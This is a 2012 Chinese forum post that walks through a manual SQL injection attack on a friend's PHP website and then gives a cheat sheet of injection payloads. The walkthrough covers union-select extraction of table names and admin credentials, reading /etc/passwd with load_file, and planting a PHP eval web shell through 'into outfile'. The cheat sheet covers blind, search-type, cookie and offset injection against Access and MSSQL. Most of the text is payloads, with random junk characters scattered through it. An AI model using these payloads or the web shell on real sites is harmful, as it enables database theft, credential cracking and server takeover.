标题: 手工注入拿下一站 [打印本页] 作者: admin 时间: 2012-9-23 14:47 标题: 手工注入拿下一站 我一个朋友维护一个站点，他对安全不是很懂，就像我一样，呵呵 ！O(∩_∩)O~5 c; z. ]- R" Y. [! E
让我看看，既然人家开口了，我也不好拒绝，那就看看吧？ 2 r: f$ W9 M: l7 E+ J w我个人喜欢先看有没有上传的地方（上传可是好东西，可以直接拿shell'），其次就是看看什么程序，有没有通杀，然后就是后台，最后看看注入。。。。 0 n- H0 ]2 `% Q! N) Q如果是php程序我会先找注入，呵呵！（这个不用我说你们也知道是什么原因咯，废话了，主题开始。。。）, O) W2 j: }! Y4 }$ F
1.打开地址，发现是php程序，呵呵.既然是php程序，先找找注入吧？看看有没有交互的地方，（所谓交互就是像news.php?id=1，news.asp？id=1这样的，） B! ]) h* [# Z
这个站很悲剧，随便点开一个链接加一个 ’ 结果悲剧了，爆出：# c f" C/ d$ a1 l' ?! L; l, J
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in( S+ S% B1 p+ h% X0 {$ i
/data/home/nus42j1/htdocs/news.php on line 59 ，物理路径出来了，到这一步啊，已经可以证实存在注入 * K" W6 T. B0 m) p. I # @6 i) h6 X' K2.不过既然是学习，我们就要一步一步的来，还是老规矩 and 1=1 ，and 1=2 ，返回结果不一样，证明存在注入，$ a, [& B$ |/ m% ]- x- A
3.下一步很自然的查询字段数：用order by+二分法，加上order by 8 返回正常，order by 9 不正常。说明字段数为8 ，继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ，一个5 ，说明可以利用字段数才两个，有时候会有很多个哦，要注意 8 E' Y H; g8 L3 y- B7 l' J4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ，当然还有database(),等等.......返回版本，用户等等系列信息 2 g$ ]3 W% w7 w+ v# y5.rp差了一点，不是root权限，不过版本大于5.0，支持虚拟库information_schema。; T9 E7 K3 q! q5 {& Z% P7 N
有两种思路：1.使用Load_file函数获取数据库账号密码，通过操作数据库获取webshell， 0 C A' n+ ?. v4 c4 R( Y1 ~* P% p0 b2.继续爆出数据库里的表名和列名，登陆后台想办法上传获取webshell。 7 l5 S7 u/ |$ e6 t- F5 [" g我就用的是第二个思路，* O$ q1 f8 P2 W |) W1 U8 J0 V
提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1-- 0 M) \. V0 ?, C% I% L. c, ~" k6.由于数据库表比较多，这里有48个表，我只是做检测，原理是这样，剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名，然后是获取表里的字段，- s0 I9 K# A# O5 W+ h
提交：and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--" q, s j- X# T3 L$ T8 K
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示，得到密码账号后就到md5破解网站进行破解。- Y3 b% u/ w+ c
7.到这里呢我该结束了，还要提供给我朋友修补的意见，不过写了这么多了，也不怕在写一点，延伸思路，如果你的密文md5破不出来呢？？？？怎么办？？？？% ~' P6 p1 k% |' I) P- U
是不是放弃了，当然不是，看看开了什么端口，如果是centos，lamp环境。我们自然是用load_file了，先验证有读的权限， /etc/passwd..... : R3 e6 p7 ?+ _' z d( x" ?提交：and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 -- - R0 j7 T' Y: y/ j& h然后你就找你要的信息，主要是一些敏感文件，还有就是有没有前辈留下的东西，比如某些记录口令保存在本地的东东，我们还可以通过操作数据库备份出来一个shell，* y+ R$ ?* Z; E* P: i+ t+ C+ F
调出mysql命令，执行：Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ，也可以分步执行建立一个临时表插入一句话，然后备份，前者比较简单并且不容易误删什么东西。前提是我们要有写入权限...... + L0 Y* g$ m( X; e1 O% b下面是一些很普遍注入方式资料：! v5 x" ?8 G2 I& h0 W& b
注意：对于普通的get注入，如果是字符型，前加' 后加 and ''=' 0 I0 J( j- N5 x, n% P6 q拆半法* s f D3 X9 x$ d1 K
######################################5 D% r" j8 x5 S! s# p
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库，MSysAccessObjects是ACCESS的默认表。 ' g' _; Y' i! ~0 Q% `8 Rand exists (select * from admin) 2 ?' e* D- S" f9 |, f# W5 Yand exists(select id from admin) 0 d8 y( R, R) E, n# eand exists(select id from admin where id=1) . p. @. U9 g+ M: Nand exists(select id from admin where id>1) # i5 e8 g/ e; f4 b! ]
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 5 s) J; W; I" m0 I! r$ E& l2 g: yand exists (select username from admin) 7 `8 ^, g& U# ^9 ^7 @# Vand exists (select password from admin) + E \# m3 F7 {3 M2 eand exists (select id from admin where len(username)<10 and id=1) " }9 [* ]5 m. `, s9 Eand exists (select id from admin where len(username)>5 and id=1) 7 S0 `2 k' q# A7 H' } v7 fand exists (select id from admin where len(username)=6 and id=1) # Y" K6 F H' jand exists (select id from admin where len(password)<10 and id=1) $ ^, u3 J' q7 U+ ]+ g5 o7 dand exists (select id from admin where len(password)>5 and id=1) 7 @& i2 i8 J! d, l/ a6 @: mand exists (select id from admin where len(password)=7 and id=1) % {( V3 Z; F! e1 \- Cand (select top 1 asc(mid(username,1,1)) from admin)=97 0 h+ y; {$ _0 o; v7 x' r返回了正常，说明第一username里的第一位内容是ASC码的97，也就是a。9 y. w; V$ ]& i6 P f d
猜第二位把username,1,1改成username,2,1就可以了。 ' F; G ^/ T/ j4 }1 C+ Q+ G+ m/ T猜密码把username改成password就OK了( T8 j3 i6 q9 U/ Q3 p5 l2 _
################################################### K( h: @) l$ f* b5 H
搜索型注入 + u3 u) i2 x: p##################################" g2 S" B- q0 y
%' and 1=1 and '%'=' % q& L! Z7 r3 s9 a P" m& \& k3 X%' and exists (select * from admin) and '%'='$ U: c, O* F7 s) D u4 D: M& K
%' and exists(select id from admin where id=1) and '%'='7 a! Q! n% N5 _2 `! E
%' and exists (select id from admin where len(username)<10 and id=1) and '%'=' . P' `6 K5 J- E/ Z) ^6 z%' and exists (select id from admin where len(password)=7 and id=1) and '%'=' 5 Y3 M! N) K4 u. U7 ?) g5 ?9 k%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='' A+ Q2 I9 m. [* q3 g* ?
这里也说明一下，搜索型注入也无他，前加%' 后加 and '%'=' 3 T. r( m8 x: _2 ?6 z8 z对于MSSQL数据库，后面可以吧 and '%'='换成--7 c$ u9 I' t0 W7 f4 _7 r8 @
还有一点搜索型注入也可以使用union语句。 5 x3 C& F. ?9 |######################################################## % ?, n4 }$ c' o5 n% [0 d联合查询。 & f s3 E+ e ^7 e###################################### e2 N9 K- C: T9 p1 J
order by 10; B9 I' d% M6 G0 J
and 1=2 union select 1,2,3,4,5,6,7,8,9,10, Z$ P; ]% x$ @4 W: R
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin9 w( L- T+ N, i* l) J, J. i' q4 D; j
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1 : b4 c) T7 G# Y$ j4 \很简单。有一点要说明一下，where id=1 这个是爆ID=1的管理员的时候，where id=1就是爆ID=2的管理用的，一般不加where id=1这个限制语句，应该是爆的最前面的管理员吧！（注意，管理的id是多少可不一定哈,说不定是100呢！）: ~0 C4 x: ~ F9 U/ I$ d
################################### m) P C* t9 Z! e$ d! g9 }
cookie注入5 @. \" ]' M: `2 x# @8 u
############################### T+ s8 a- N* C1 h; e/ _3 j4 [( nhttp://www.******.com/shownews.asp?id=127 4 q$ B% h2 P5 @http://www.******.com/shownews.asp& A3 W# Y6 y5 s- Q
alert(="id="+escape("127")); ' i' G! z6 o6 x& Q# l8 V5 s0 N( malert(="id="+escape("127 and 1=1")); ; T, B1 K# W6 G# m/ l% C' n. E; }. jalert(="id="+escape("127 order by 10")); 8 t8 ? J" u& }/ Jalert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));+ y g, O2 |5 F0 {
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1")); 4 f( C6 o7 d+ y, q( Q这些东西应该都不用解释了吧，给出语句就行了吧。这里还是用个联合查询，你把它换成拆半也一样，不过不太适合正常人使用，因为曾经有人这样累死过。 $ k: i/ F5 f7 G: ]6 }0 N$ d& S! m################################### 4 }. ` S/ Y) g偏移注入6 b0 }+ J" E/ _' f& l
########################################################### : _) h9 X2 l; b. Z) p, G. ~union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin6 x; E3 M4 T8 P' r: C/ b t
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin 1 i e* C( \# m4 _+ f( Qunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id) 7 N- U8 @- b& O f5 iunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id) / m6 U5 _9 x; \ iunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)% k$ T! s. U5 X+ b4 i
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)% y- T9 T% p& ]: }2 x: b" h
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on ) C6 s9 d, O8 C& G6 E/ Da.id=d.id)$ w* r1 e1 d( f6 o! x- w
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id) . B: S6 i4 h/ ?* q; ]$ ^" Wand 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) 2 d, j, b! i9 u' d" P